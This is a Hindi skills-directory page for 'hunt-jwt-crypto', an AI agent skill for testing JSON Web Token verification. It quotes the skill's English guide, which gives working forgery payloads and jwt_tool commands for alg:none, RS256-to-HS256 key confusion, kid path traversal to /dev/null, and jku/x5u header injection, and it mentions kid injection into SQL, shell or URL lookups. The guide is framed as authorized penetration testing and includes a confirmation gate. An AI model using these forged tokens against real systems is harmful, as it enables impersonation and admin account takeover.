मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी48k · #4880

hunt-jwt-crypto

यह क्या करती है

यह टूल इंटरनेट पर ऑथेंटिकेशन के लिए इस्तेमाल होने वाले टोकन में सुरक्षा कमज़ोरियाँ ढूंढने में मदद करता है। यह जांचता है कि क्या सिस्टम को बदला हुआ टोकन स्वीकार करने पर बेवकूफ बनाया जा सकता है, जिससे आप किसी और यूज़र या एडमिन बनकर पहुंच सकें।

कब इस्तेमाल करें

  • ✓किसी वेबसाइट या ऐप की सुरक्षा जांचते समय।
  • ✓यह समझने के लिए कि ऑथेंटिकेशन टोकन कैसे काम करते हैं और वे कहां फेल हो सकते हैं।
  • ✓अनुमति वाले सुरक्षा अभ्यास में कमज़ोरियाँ ढूंढने के लिए।

Skill का लिंक

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“example.com के JWT टोकन में सुरक्षा कमज़ोरियाँ जांचो”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

यह टोकन की संरचना का विश्लेषण करता है और ज्ञात तरीकों से उसकी कमज़ोरियों का फायदा उठाने की कोशिश करता है। यह टोकन बदलकर एडमिन अधिकार पाने या किसी और यूज़र बनने की कोशिश कर सकता है, इसके लिए यह देखता है कि सिस्टम टोकन की असलियत कैसे जांचता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

  • alg:none — the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
  • RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret — which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" → try key confusion. Any alg → always try alg:none first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none — become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.

RS256 → HS256 key confusion — once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection — verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

…

अक्सर पूछे जाने वाले सवाल

JWT क्या है?

JWT का मतलब है JSON Web Token। यह एक मानक तरीका है जिससे एक्सेस टोकन बनाए जाते हैं और जानकारी सुरक्षित रूप से पक्षों के बीच भेजी जाती है। इसे एक डिजिटल बैज समझिए जो बताता है कि आप कौन हैं और आपके पास कौन सी अनुमतियाँ हैं।

इस टूल के जोखिम क्या हैं?

इस टूल का गलत इस्तेमाल गैरकानूनी है और इसके गंभीर नतीजे हो सकते हैं। इसे सिर्फ नियंत्रित माहौल में और सिस्टम मालिक की साफ़ इजाज़त से, शैक्षिक या सुरक्षा मूल्यांकन के लिए इस्तेमाल करना चाहिए।

'alg:none' का मतलब क्या है?

यह एक कमज़ोरी है जिसमें सिस्टम बिना सिग्नेचर वाला टोकन भी स्वीकार कर लेता है। अगर सिस्टम ऐसा है, तो बिना सीक्रेट key के भी टोकन बदलकर एडमिन या किसी और यूज़र बना जा सकता है।

जानकारी

लेखक का मूल विवरण

Hunt JWT cryptographic failures

repo: sickn33/agentic-awesome-skills

लोकप्रियता

GitHub स्टार
48k
रैंकिंग में स्थान
#4880
लाइसेंस
MIT
अपडेट की गई
15/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

00-andruia-consultant

48k

आपके एजेंट को AI प्रोजेक्ट शुरू करने या उन्हें बेहतर बनाने में मदद करता है। यह code का विश्लेषण करता है, tools सुझाता है और स्पेनिश भाषा में action plan बनाता है।

AI और एजेंटएजेंट

007

48k

आपका एजेंट security audit और threat modeling करता है। यह प्रोजेक्ट को हमलों और कमजोरियों से बचाने में काम आता है।

कोडिंगसिक्योरिटी

10-andruia-skill-smith

48k

आपके एजेंट को AI tools बनाने या उन्हें बेहतर करने में मदद करता है। यह तय करता है कि tools कैसे काम करेंगे, documentation लिखता है और structure की जांच करता है।

AI और एजेंटएजेंट

20-andruia-niche-intelligence

48k

आपका एजेंट किसी खास industry का summary बनाता है। भरोसेमंद स्रोतों की मदद से यह प्रोजेक्ट का संदर्भ, नियम, इस्तेमाल के तरीके और जोखिम समझने में मदद करता है।

लेखन और डॉक्यूमेंटरिसर्च

मिलती-जुलती skills